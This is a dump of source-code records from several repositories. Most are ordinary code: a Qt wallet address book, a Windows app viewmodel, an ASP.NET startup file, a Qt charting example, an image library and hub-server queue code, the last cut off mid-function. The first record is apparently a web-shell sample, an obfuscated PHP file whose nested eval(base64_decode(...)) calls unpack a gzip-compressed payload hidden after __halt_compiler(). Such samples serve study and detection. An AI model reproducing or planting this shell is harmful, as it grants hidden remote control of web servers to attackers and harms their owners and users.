repo_name
stringlengths
4
116
path
stringlengths
4
379
size
stringlengths
1
7
content
stringlengths
3
1.05M
license
stringclasses
15 values
svigneux/python-websh
shells/base64-obfuscated.php
997
<?php $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=3487f726be7f674fca019bf65986d267a42c2f36y0zPyy9KjS8tTi2KT0zKLyrRMNS0VihOLYkvycxNjc/JzM0s0TAACjkUVxaXpOZqJCUWp5qZxKekJuenpGqoxLu7hkSrJ6vHampaAwA=
gpl-3.0
elkingtoncode/Argonaute
src/qt/addressbookpage.cpp
9477
#if defined(HAVE_CONFIG_H) #include "bitcoin-config.h" #endif #include "addressbookpage.h" #include "ui_addressbookpage.h" #include "addresstablemodel.h" #include "bitcoingui.h" #include "csvmodelwriter.h" #include "editaddressdialog.h" #include "guiutil.h" #include <QIcon> #include <QMenu> #include <QMessageBox> #include <QSortFilterProxyModel> AddressBookPage::AddressBookPage(Mode mode, Tabs tab, QWidget *parent) : QDialog(parent), ui(new Ui::AddressBookPage), model(0), mode(mode), tab(tab) { ui->setupUi(this); #ifdef Q_OS_MAC // Icons on push buttons are very uncommon on Mac ui->newAddress->setIcon(QIcon()); ui->copyAddress->setIcon(QIcon()); ui->deleteAddress->setIcon(QIcon()); ui->exportButton->setIcon(QIcon()); #endif switch(mode) { case ForSelection: switch(tab) { case SendingTab: setWindowTitle(tr("Choose the address to send coins to")); break; case ReceivingTab: setWindowTitle(tr("Choose the address to receive coins with")); break; } connect(ui->tableView, SIGNAL(doubleClicked(QModelIndex)), this, SLOT(accept())); ui->tableView->setEditTriggers(QAbstractItemView::NoEditTriggers); ui->tableView->setFocus(); ui->closeButton->setText(tr("C&hoose")); ui->exportButton->hide(); break; case ForEditing: switch(tab) { case SendingTab: setWindowTitle(tr("Sending addresses")); break; case ReceivingTab: setWindowTitle(tr("Receiving addresses")); break; } break; } switch(tab) { case SendingTab: ui->labelExplanation->setText(tr("These are your Cryptonite addresses for sending payments. Always check the amount and the receiving address before sending coins.")); ui->deleteAddress->setVisible(true); break; case ReceivingTab: ui->labelExplanation->setText(tr("These are your Cryptonite addresses for receiving payments. It is recommended to use a new receiving address for each transaction.")); ui->deleteAddress->setVisible(false); break; } // Context menu actions QAction *copyAddressAction = new QAction(tr("&Copy Address"), this); QAction *copyLabelAction = new QAction(tr("Copy &Label"), this); QAction *editAction = new QAction(tr("&Edit"), this); deleteAction = new QAction(ui->deleteAddress->text(), this); // Build context menu contextMenu = new QMenu(); contextMenu->addAction(copyAddressAction); contextMenu->addAction(copyLabelAction); contextMenu->addAction(editAction); if(tab == SendingTab) contextMenu->addAction(deleteAction); contextMenu->addSeparator(); // Connect signals for context menu actions connect(copyAddressAction, SIGNAL(triggered()), this, SLOT(on_copyAddress_clicked())); connect(copyLabelAction, SIGNAL(triggered()), this, SLOT(onCopyLabelAction())); connect(editAction, SIGNAL(triggered()), this, SLOT(onEditAction())); connect(deleteAction, SIGNAL(triggered()), this, SLOT(on_deleteAddress_clicked())); connect(ui->tableView, SIGNAL(customContextMenuRequested(QPoint)), this, SLOT(contextualMenu(QPoint))); connect(ui->closeButton, SIGNAL(clicked()), this, SLOT(accept())); } AddressBookPage::~AddressBookPage() { delete ui; } void AddressBookPage::setModel(AddressTableModel *model) { this->model = model; if(!model) return; proxyModel = new QSortFilterProxyModel(this); proxyModel->setSourceModel(model); proxyModel->setDynamicSortFilter(true); proxyModel->setSortCaseSensitivity(Qt::CaseInsensitive); proxyModel->setFilterCaseSensitivity(Qt::CaseInsensitive); switch(tab) { case ReceivingTab: // Receive filter proxyModel->setFilterRole(AddressTableModel::TypeRole); proxyModel->setFilterFixedString(AddressTableModel::Receive); break; case SendingTab: // Send filter proxyModel->setFilterRole(AddressTableModel::TypeRole); proxyModel->setFilterFixedString(AddressTableModel::Send); break; } ui->tableView->setModel(proxyModel); ui->tableView->sortByColumn(0, Qt::AscendingOrder); // Set column widths #if QT_VERSION < 0x050000 ui->tableView->horizontalHeader()->setResizeMode(AddressTableModel::Label, QHeaderView::Stretch); ui->tableView->horizontalHeader()->setResizeMode(AddressTableModel::Address, QHeaderView::ResizeToContents); #else ui->tableView->horizontalHeader()->setSectionResizeMode(AddressTableModel::Label, QHeaderView::Stretch); ui->tableView->horizontalHeader()->setSectionResizeMode(AddressTableModel::Address, QHeaderView::ResizeToContents); #endif connect(ui->tableView->selectionModel(), SIGNAL(selectionChanged(QItemSelection,QItemSelection)), this, SLOT(selectionChanged())); // Select row for newly created address connect(model, SIGNAL(rowsInserted(QModelIndex,int,int)), this, SLOT(selectNewAddress(QModelIndex,int,int))); selectionChanged(); } void AddressBookPage::on_copyAddress_clicked() { GUIUtil::copyEntryData(ui->tableView, AddressTableModel::Address); } void AddressBookPage::onCopyLabelAction() { GUIUtil::copyEntryData(ui->tableView, AddressTableModel::Label); } void AddressBookPage::onEditAction() { if(!model) return; if(!ui->tableView->selectionModel()) return; QModelIndexList indexes = ui->tableView->selectionModel()->selectedRows(); if(indexes.isEmpty()) return; EditAddressDialog dlg( tab == SendingTab ? EditAddressDialog::EditSendingAddress : EditAddressDialog::EditReceivingAddress, this); dlg.setModel(model); QModelIndex origIndex = proxyModel->mapToSource(indexes.at(0)); dlg.loadRow(origIndex.row()); dlg.exec(); } void AddressBookPage::on_newAddress_clicked() { if(!model) return; EditAddressDialog dlg( tab == SendingTab ? EditAddressDialog::NewSendingAddress : EditAddressDialog::NewReceivingAddress, this); dlg.setModel(model); if(dlg.exec()) { newAddressToSelect = dlg.getAddress(); } } void AddressBookPage::on_deleteAddress_clicked() { QTableView *table = ui->tableView; if(!table->selectionModel()) return; QModelIndexList indexes = table->selectionModel()->selectedRows(); if(!indexes.isEmpty()) { table->model()->removeRow(indexes.at(0).row()); } } void AddressBookPage::selectionChanged() { // Set button states based on selected tab and selection QTableView *table = ui->tableView; if(!table->selectionModel()) return; if(table->selectionModel()->hasSelection()) { switch(tab) { case SendingTab: // In sending tab, allow deletion of selection ui->deleteAddress->setEnabled(true); ui->deleteAddress->setVisible(true); deleteAction->setEnabled(true); break; case ReceivingTab: // Deleting receiving addresses, however, is not allowed ui->deleteAddress->setEnabled(false); ui->deleteAddress->setVisible(false); deleteAction->setEnabled(false); break; } ui->copyAddress->setEnabled(true); } else { ui->deleteAddress->setEnabled(false); ui->copyAddress->setEnabled(false); } } void AddressBookPage::done(int retval) { QTableView *table = ui->tableView; if(!table->selectionModel() || !table->model()) return; // Figure out which address was selected, and return it QModelIndexList indexes = table->selectionModel()->selectedRows(AddressTableModel::Address); foreach (QModelIndex index, indexes) { QVariant address = table->model()->data(index); returnValue = address.toString(); } if(returnValue.isEmpty()) { // If no address entry selected, return rejected retval = Rejected; } QDialog::done(retval); } void AddressBookPage::on_exportButton_clicked() { // CSV is currently the only supported format QString filename = GUIUtil::getSaveFileName(this, tr("Export Address List"), QString(), tr("Comma separated file (*.csv)"), NULL); if (filename.isNull()) return; CSVModelWriter writer(filename); // name, column, role writer.setModel(proxyModel); writer.addColumn("Label", AddressTableModel::Label, Qt::EditRole); writer.addColumn("Address", AddressTableModel::Address, Qt::EditRole); if(!writer.write()) { QMessageBox::critical(this, tr("Exporting Failed"), tr("There was an error trying to save the address list to %1.").arg(filename)); } } void AddressBookPage::contextualMenu(const QPoint &point) { QModelIndex index = ui->tableView->indexAt(point); if(index.isValid()) { contextMenu->exec(QCursor::pos()); } } void AddressBookPage::selectNewAddress(const QModelIndex &parent, int begin, int /*end*/) { QModelIndex idx = proxyModel->mapFromSource(model->index(begin, AddressTableModel::Address, parent)); if(idx.isValid() && (idx.data(Qt::EditRole).toString() == newAddressToSelect)) { // Select row of newly created address, once ui->tableView->setFocus(); ui->tableView->selectRow(idx.row()); newAddressToSelect.clear(); } }
gpl-3.0
fisher01/client-twitter
DotNet/TwitterDotNet/TwitterDotNet/ViewModels/SettingsPageViewModel.cs
2610
using System; using System.Threading.Tasks; using Template10.Mvvm; using Windows.UI.Xaml; namespace TwitterDotNet.ViewModels { public class SettingsPageViewModel : ViewModelBase { public SettingsPartViewModel SettingsPartViewModel { get; } = new SettingsPartViewModel(); public AboutPartViewModel AboutPartViewModel { get; } = new AboutPartViewModel(); } public class SettingsPartViewModel : ViewModelBase { Services.SettingsServices.SettingsService _settings; public SettingsPartViewModel() { if (Windows.ApplicationModel.DesignMode.DesignModeEnabled) { // designtime } else { _settings = Services.SettingsServices.SettingsService.Instance; } } public bool UseShellBackButton { get { return _settings.UseShellBackButton; } set { _settings.UseShellBackButton = value; base.RaisePropertyChanged(); } } public bool UseLightThemeButton { get { return _settings.AppTheme.Equals(ApplicationTheme.Light); } set { _settings.AppTheme = value ? ApplicationTheme.Light : ApplicationTheme.Dark; base.RaisePropertyChanged(); } } private string _BusyText = "Please wait..."; public string BusyText { get { return _BusyText; } set { Set(ref _BusyText, value); _ShowBusyCommand.RaiseCanExecuteChanged(); } } DelegateCommand _ShowBusyCommand; public DelegateCommand ShowBusyCommand => _ShowBusyCommand ?? (_ShowBusyCommand = new DelegateCommand(async () => { Views.Busy.SetBusy(true, _BusyText); await Task.Delay(5000); Views.Busy.SetBusy(false); }, () => !string.IsNullOrEmpty(BusyText))); } public class AboutPartViewModel : ViewModelBase { public Uri Logo => Windows.ApplicationModel.Package.Current.Logo; public string DisplayName => Windows.ApplicationModel.Package.Current.DisplayName; public string Publisher => Windows.ApplicationModel.Package.Current.PublisherDisplayName; public string Version { get { var v = Windows.ApplicationModel.Package.Current.Id.Version; return $"{v.Major}.{v.Minor}.{v.Build}.{v.Revision}"; } } public Uri RateMe => new Uri("http://aka.ms/template10"); } }
gpl-3.0
sstuenkel/ExpertiseExplorer
ExpertiseExplorerMVC/Global.asax.cs
508
namespace ExpertiseExplorerMVC { using System.Web.Mvc; using System.Web.Optimization; using System.Web.Routing; public class MvcApplication : System.Web.HttpApplication { protected void Application_Start() { AreaRegistration.RegisterAllAreas(); FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters); RouteConfig.RegisterRoutes(RouteTable.Routes); BundleConfig.RegisterBundles(BundleTable.Bundles); } } }
gpl-3.0
geminy/aidear
oss/qt/qt-everywhere-opensource-src-5.9.0/qtdatavis3d/examples/datavisualization/customproxy/rainfallgraph.cpp
6027
/**************************************************************************** ** ** Copyright (C) 2016 The Qt Company Ltd. ** Contact: https://www.qt.io/licensing/ ** ** This file is part of the Qt Data Visualization module of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:GPL$ ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and The Qt Company. For licensing terms ** and conditions see https://www.qt.io/terms-conditions. For further ** information use the contact form at https://www.qt.io/contact-us. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU ** General Public License version 3 or (at your option) any later version ** approved by the KDE Free Qt Foundation. The licenses are as published by ** the Free Software Foundation and appearing in the file LICENSE.GPL3 ** included in the packaging of this file. Please review the following ** information to ensure the GNU General Public License requirements will ** be met: https://www.gnu.org/licenses/gpl-3.0.html. ** ** $QT_END_LICENSE$ ** ****************************************************************************/ #include "rainfallgraph.h" #include <QtDataVisualization/qcategory3daxis.h> #include <QtDataVisualization/qvalue3daxis.h> #include <QtDataVisualization/q3dscene.h> #include <QtDataVisualization/q3dcamera.h> #include <QtDataVisualization/qbar3dseries.h> #include <QtDataVisualization/q3dtheme.h> #include <QtGui/QGuiApplication> #include <QtGui/QFont> #include <QtCore/QDebug> #include <QtCore/QTextStream> #include <QtCore/QFile> using namespace QtDataVisualization; RainfallGraph::RainfallGraph(Q3DBars *rainfall) : m_graph(rainfall) { // In data file the months are in numeric format, so create custom list for (int i = 1; i <= 12; i++) m_numericMonths << QString::number(i); m_columnCount = m_numericMonths.size(); m_proxy = new VariantBarDataProxy; QBar3DSeries *series = new QBar3DSeries(m_proxy); m_graph->addSeries(series); updateYearsList(2000, 2012); // Set up bar specifications; make the bars as wide as they are deep, // and add a small space between the bars m_graph->setBarThickness(1.0f); m_graph->setBarSpacing(QSizeF(1.1, 1.1)); // Set axis labels and titles QStringList months; months << "January" << "February" << "March" << "April" << "May" << "June" << "July" << "August" << "September" << "October" << "November" << "December"; m_graph->rowAxis()->setTitle("Year"); m_graph->columnAxis()->setTitle("Month"); m_graph->valueAxis()->setTitle("rainfall"); m_graph->valueAxis()->setLabelFormat("%d mm"); m_graph->valueAxis()->setSegmentCount(5); m_graph->rowAxis()->setLabels(m_years); m_graph->columnAxis()->setLabels(months); // Set bar type to cylinder series->setMesh(QAbstract3DSeries::MeshCylinder); // Set shadows to medium m_graph->setShadowQuality(QAbstract3DGraph::ShadowQualityMedium); // Set selection mode to bar and column m_graph->setSelectionMode(QAbstract3DGraph::SelectionItemAndColumn | QAbstract3DGraph::SelectionSlice); // Set theme m_graph->activeTheme()->setType(Q3DTheme::ThemeArmyBlue); // Override font in theme m_graph->activeTheme()->setFont(QFont("Century Gothic", 30)); // Override label background for theme m_graph->activeTheme()->setLabelBackgroundEnabled(false); // Set camera position and zoom m_graph->scene()->activeCamera()->setCameraPreset(Q3DCamera::CameraPresetIsometricRightHigh); // Set window title m_graph->setTitle(QStringLiteral("Monthly rainfall in Northern Finland")); // Set reflections on m_graph->setReflection(true); } RainfallGraph::~RainfallGraph() { delete m_mapping; delete m_dataSet; delete m_graph; } void RainfallGraph::start() { addDataSet(); } void RainfallGraph::updateYearsList(int start, int end) { m_years.clear(); for (int i = start; i <= end; i++) m_years << QString::number(i); m_rowCount = m_years.size(); } //! [0] void RainfallGraph::addDataSet() { // Create a new variant data set and data item list m_dataSet = new VariantDataSet; VariantDataItemList *itemList = new VariantDataItemList; // Read data from a data file into the data item list QTextStream stream; QFile dataFile(":/data/raindata.txt"); if (dataFile.open(QIODevice::ReadOnly | QIODevice::Text)) { stream.setDevice(&dataFile); while (!stream.atEnd()) { QString line = stream.readLine(); if (line.startsWith("#")) // Ignore comments continue; QStringList strList = line.split(",", QString::SkipEmptyParts); // Each line has three data items: Year, month, and rainfall value if (strList.size() < 3) { qWarning() << "Invalid row read from data:" << line; continue; } // Store year and month as strings, and rainfall value as double // into a variant data item and add the item to the item list. VariantDataItem *newItem = new VariantDataItem; for (int i = 0; i < 2; i++) newItem->append(strList.at(i).trimmed()); newItem->append(strList.at(2).trimmed().toDouble()); itemList->append(newItem); } } else { qWarning() << "Unable to open data file:" << dataFile.fileName(); } //! [1] // Add items to the data set and set it to the proxy m_dataSet->addItems(itemList); m_proxy->setDataSet(m_dataSet); // Create new mapping for the data and set it to the proxy m_mapping = new VariantBarDataMapping(0, 1, 2, m_years, m_numericMonths); m_proxy->setMapping(m_mapping); //! [1] } //! [0]
gpl-3.0
DemonSinusa/SiemanC
LibsUser/libimagedraw/core.cpp
5924
#include <alib/img.h> color16_t Image:: GetColor16 (int x, int y){ if (y<h_ && y>=0 && x>=0 && x<w_){ color16_t *bm=(color16_t*)bitmap_; return *(bm + x + y*w_); } else return T16_PIXEL; } void Image:: SetColor16 (int x, int y, color16_t clr){ color16_t *bm=(color16_t*)bitmap_; if (y<h_ && y>=0 && x>=0 && x<w_) *(bm + x + y*w_)=clr; } //Вычисление цвета при альфа-канале color32_t CalcColor (color32_t src, color32_t dst){ uint8_t a_dst=GetA(dst); uint8_t a_dst2=0xFF-a_dst; uint8_t a=GetA(src); uint8_t r=((GetR(src))*a_dst2+(GetR(dst))*a_dst)>> 8; uint8_t g=((GetG(src))*a_dst2+(GetG(dst))*a_dst)>> 8; uint8_t b=((GetB(src))*a_dst2+(GetB(dst))*a_dst)>> 8; return rgb_rgb32 (r, g, b, a); } color32_t invert_color_rgb32 (color32_t clr){ //use mask 0xFFFFFF00 //return 0xFFFFFFFF-clr; uint8_t r=(GetR(clr)); uint8_t g=(GetG(clr)); uint8_t b=(GetB(clr)); uint8_t a=(GetA(clr)); return rgb_rgb32 ((0xFF-r), (0xFF-g), (0xFF-b), a); } color32_t conv_to_gray_rgb32 (color32_t clr){ uint8_t r=(GetR(clr)); uint8_t g=(GetG(clr)); uint8_t b=(GetB(clr)); uint8_t a=(GetA(clr)); uint8_t gray=0.21*r+0.72*g+0.07*b; return rgb_rgb32 (gray, gray, gray, a); } color16_t CalcColor16 (color16_t src, color32_t dst){ uint8_t a_dst=GetA(dst); uint8_t a_dst2=0xFF-a_dst; uint8_t r = (((src&0xF800)>>8)*(a_dst2)+(GetR(dst))*a_dst)>> 8; uint8_t g = (((src&0x7E0)>>3)*(a_dst2)+(GetG(dst))*a_dst)>> 8; uint8_t b = (((src&0x1F)<<3)*(a_dst2)+(GetB(dst))*a_dst)>> 8; return rgb_rgb16(r,g,b); } color16_t invert_color_rgb16 (color16_t clr){ uint8_t r=((clr&0xF800)>>8); uint8_t g=((clr&0x7E0)>>3); uint8_t b=((clr&0x1F)<<3); return rgb_rgb16 ((0xFF-r), (0xFF-g), (0xFF-b)); } color16_t conv_to_gray_rgb16 (color16_t clr){ uint8_t r=((clr&0xF800)>>8); uint8_t g=((clr&0x7E0)>>3); uint8_t b=((clr&0x1F)<<3); uint8_t gray=0.21*r+0.72*g+0.07*b; return rgb_rgb16 (gray, gray, gray); } color32_t Image:: GetColor (int x, int y){ switch (bpnum_){ case T_32COL:{ if (y<h_ && y>=0 && x>=0 && x<w_){ color32_t *bm=(color32_t*)bitmap_; return *(bm + x + y*w_); } else return 0; }break; case T_16COL:{ if (y<h_ && y>=0 && x>=0 && x<w_){ color16_t *bm=(color16_t*)bitmap_; return rgb16_rgb32 (*(bm + x + y*w_)); } else return 0; }break; default: return 0; //ERR_UNSUPPORTED_BITMAP_TYPE; } } color Image:: GetColorS (int x, int y){ color32_t clr=GetColor (x, y); color sclr; rgb32_color (clr, &sclr); return sclr; } void Image:: SetColor (int x, int y, color32_t clr){ uint8_t clrA=(GetA(clr)); switch (bpnum_){ case T_32COL:{ color32_t *bm=(color32_t*)bitmap_; if (y<h_ && y>=0 && x>=0 && x<w_){ if (clrA==0xFF) *(bm + x + y*w_)=clr; else{ color32_t src=GetColor (x, y); uint8_t srcA=(GetA(src)); if (srcA==0) *(bm + x + y*w_)=clr; else{ *(bm + x + y*w_)=CalcColor (src, clr); } } } }break; case T_16COL:{ color16_t *bm=(color16_t*)bitmap_; if (y<h_ && y>=0 && x>=0 && x<w_){ if (clrA>0){ if (clrA==0xFF) *(bm+ x + y*w_)=rgb32_rgb16(clr); else{ *(bm+ x + y*w_)=CalcColor16 (*(bm+ x + y*w_), clr); } } } }break; } } int GetPixelSize (int bpnum){ switch (bpnum){ case T_32COL: return sizeof(color32_t); break; case T_16COL: return sizeof(color16_t); break; default: return 0; } } color32_t Image:: GetColorByIndex (int index){ if (index < 0 || index >= w_*h_) return 0; switch (bpnum_){ case T_32COL: return ((color32_t*)(bitmap_))[index]; break; case T_16COL: return rgb16_rgb32(((color16_t*)(bitmap_))[index]); break; default: return 0; } } bool Image:: Create (int w, int h, int bpnum){ w_=w; h_=h; bpnum_=bpnum; bitmap_=new unsigned char [h*w*GetPixelSize(bpnum)]; if (!bitmap_) return ERR_ALLOC_BITMAP; return 0; } int Image:: Fork (Image *dst){ if (dst->Create (w_, h_, bpnum_)) return -1; memcpy(dst->bitmap_, bitmap_, w_*h_*GetPixelSize(bpnum_)); return 0; } void Image::Fill (color32_t clr){ switch (bpnum_){ case T_32COL:{ color32_t *bm=(color32_t*)bitmap_; for (int j=0; j<h_; j++){ int line=j*w_; for (int i=0; i<w_; i++) *(bm + i + line)=clr; } }break; case T_16COL:{ color16_t *bm=(color16_t*)bitmap_; for (int j=0; j<h_; j++){ int line=j*w_; for (int i=0; i<w_; i++) *(bm + i + line)=rgb32_rgb16 (clr); } }break; } } void Image:: Clean(){ //int size=w_*h_*GetPixelSize(bpnum_); //memset (bitmap_, 0, size); switch (bpnum_){ case T_32COL:{ color32_t *bm=(color32_t*)bitmap_; for (int j=0; j<h_; j++) for (int i=0; i<w_; i++) *(bm + i + j*w_)=0; }break; case T_16COL:{ color16_t *bm=(color16_t*)bitmap_; for (int j=0; j<h_; j++) for (int i=0; i<w_; i++) *(bm + i + j*w_)=T16_PIXEL; }break; } }
gpl-3.0
sidcode/PtokaX
core/GlobalDataQueue.cpp
42093
/* * PtokaX - hub server for Direct Connect peer to peer network. * Copyright (C) 2002-2005 Ptaczek, Ptaczek at PtokaX dot org * Copyright (C) 2004-2012 Petr Kozelka, PPK at PtokaX dot org * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License version 3 * as published by the Free Software Foundation. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- #include "stdinc.h" //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- #include "GlobalDataQueue.h" //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- #include "colUsers.h" #include "ProfileManager.h" #include "ServerManager.h" #include "SettingManager.h" #include "User.h" #include "utility.h" #include "ZlibUtility.h" //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- #ifdef _WIN32 #pragma hdrstop #endif //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- GlobalDataQueue * g_GlobalDataQueue = NULL; //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- GlobalDataQueue::GlobalDataQueue() { msg[0] = '\0'; // OpList buffer #ifdef _WIN32 OpListQueue.sBuffer = (char *)HeapAlloc(hPtokaXHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, 256); #else OpListQueue.sBuffer = (char *)calloc(256, 1); #endif if(OpListQueue.sBuffer == NULL) { AppendDebugLog("%s - [MEM] Cannot create OpListQueue\n", 0); exit(EXIT_FAILURE); } OpListQueue.szLen = 0; OpListQueue.szSize = 255; // UserIP buffer #ifdef _WIN32 UserIPQueue.sBuffer = (char *)HeapAlloc(hPtokaXHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, 256); #else UserIPQueue.sBuffer = (char *)calloc(256, 1); #endif if(UserIPQueue.sBuffer == NULL) { AppendDebugLog("%s - [MEM] Cannot create UserIPQueue\n", 0); exit(EXIT_FAILURE); } UserIPQueue.szLen = 0; UserIPQueue.szSize = 255; UserIPQueue.bHaveDollars = false; pNewQueueItems[0] = NULL; pNewQueueItems[1] = NULL; pCreatedGlobalQueues = NULL; pNewSingleItems[0] = NULL; pNewSingleItems[1] = NULL; pQueueItems = NULL; pSingleItems = NULL; for(uint8_t ui8i = 0; ui8i < 144; ui8i++) { GlobalQueues[ui8i].szLen = 0; GlobalQueues[ui8i].szSize = 255; GlobalQueues[ui8i].szZlen = 0; GlobalQueues[ui8i].szZsize = 255; #ifdef _WIN32 GlobalQueues[ui8i].sBuffer = (char *)HeapAlloc(hPtokaXHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, 256); GlobalQueues[ui8i].sZbuffer = (char *)HeapAlloc(hPtokaXHeap, HEAP_NO_SERIALIZE | HEAP_ZERO_MEMORY, 256); #else GlobalQueues[ui8i].sBuffer = (char *)calloc(256, 1); GlobalQueues[ui8i].sZbuffer = (char *)calloc(256, 1); #endif if(GlobalQueues[ui8i].sBuffer == NULL || GlobalQueues[ui8i].sZbuffer == NULL) { AppendDebugLog("%s - [MEM] Cannot create GlobalQueues[ui8i]\n", 0); exit(EXIT_FAILURE); } GlobalQueues[ui8i].pNext = NULL; GlobalQueues[ui8i].bCreated = false; GlobalQueues[ui8i].bZlined = false; } } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- GlobalDataQueue::~GlobalDataQueue() { #ifdef _WIN32 if(OpListQueue.sBuffer != NULL) { if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)OpListQueue.sBuffer) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate OpListQueue.sBuffer in globalqueue::~globalqueue\n", 0); } } #else free(OpListQueue.sBuffer); #endif #ifdef _WIN32 if(UserIPQueue.sBuffer != NULL) { if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)UserIPQueue.sBuffer) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate UserIPQueue.sBuffer in globalqueue::~globalqueue\n", 0); } } #else free(UserIPQueue.sBuffer); #endif if(pNewSingleItems[0] != NULL) { SingleDataItem * pNext = pNewSingleItems[0]; while(pNext != NULL) { SingleDataItem * pCur = pNext; pNext = pCur->pNext; #ifdef _WIN32 if(pCur->sData != NULL) { if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)pCur->sData) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate pCur->sData in globalqueue::~globalqueue\n", 0); } } #else free(pCur->sData); #endif delete pCur; } } if(pSingleItems != NULL) { SingleDataItem * pNext = pSingleItems; while(pNext != NULL) { SingleDataItem * pCur = pNext; pNext = pCur->pNext; #ifdef _WIN32 if(pCur->sData != NULL) { if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)pCur->sData) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate pCur->sData in globalqueue::~globalqueue\n", 0); } } #else free(pCur->sData); #endif delete pCur; } } if(pNewQueueItems[0] != NULL) { QueueItem * pNext = pNewQueueItems[0]; while(pNext != NULL) { QueueItem * pCur = pNext; pNext = pCur->pNext; #ifdef _WIN32 if(pCur->sCommand1 != NULL) { if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)pCur->sCommand1) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate pCur->sCommand1 in globalqueue::~globalqueue\n", 0); } } if(pCur->sCommand2 != NULL) { if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)pCur->sCommand2) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate pCur->sCommand2 in globalqueue::~globalqueue\n", 0); } } #else free(pCur->sCommand1); free(pCur->sCommand2); #endif delete pCur; } } if(pQueueItems != NULL) { QueueItem * pNext = pQueueItems; while(pNext != NULL) { QueueItem * pCur = pNext; pNext = pCur->pNext; #ifdef _WIN32 if(pCur->sCommand1 != NULL) { if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)pCur->sCommand1) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate pCur->sCommand1 in globalqueue::~globalqueue\n", 0); } } if(pCur->sCommand2 != NULL) { if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)pCur->sCommand2) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate pCur->sCommand2 in globalqueue::~globalqueue\n", 0); } } #else free(pCur->sCommand1); free(pCur->sCommand2); #endif delete pCur; } } for(uint8_t ui8i = 0; ui8i < 144; ui8i++) { #ifdef _WIN32 if(GlobalQueues[ui8i].sBuffer != NULL) { if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)GlobalQueues[ui8i].sBuffer) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate GlobalQueues[ui8i].sBuffer in globalqueue::~globalqueue\n", 0); } } if(GlobalQueues[ui8i].sZbuffer != NULL) { if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)GlobalQueues[ui8i].sZbuffer) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate GlobalQueues[ui8i].sZbuffer in globalqueue::~globalqueue\n", 0); } } #else free(GlobalQueues[ui8i].sBuffer); free(GlobalQueues[ui8i].sZbuffer); #endif } } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void GlobalDataQueue::AddQueueItem(char * sCommand1, const size_t &szLen1, char * sCommand2, const size_t &szLen2, const uint8_t &ui8CmdType) { QueueItem * pNewItem = new QueueItem(); if(pNewItem == NULL) { AppendDebugLog("%s - [MEM] Cannot allocate pNewItem in globalqueue::GlobalDataQueue::AddQueueItem\n", 0); return; } #ifdef _WIN32 pNewItem->sCommand1 = (char *)HeapAlloc(hPtokaXHeap, HEAP_NO_SERIALIZE, szLen1+1); #else pNewItem->sCommand1 = (char *)malloc(szLen1+1); #endif 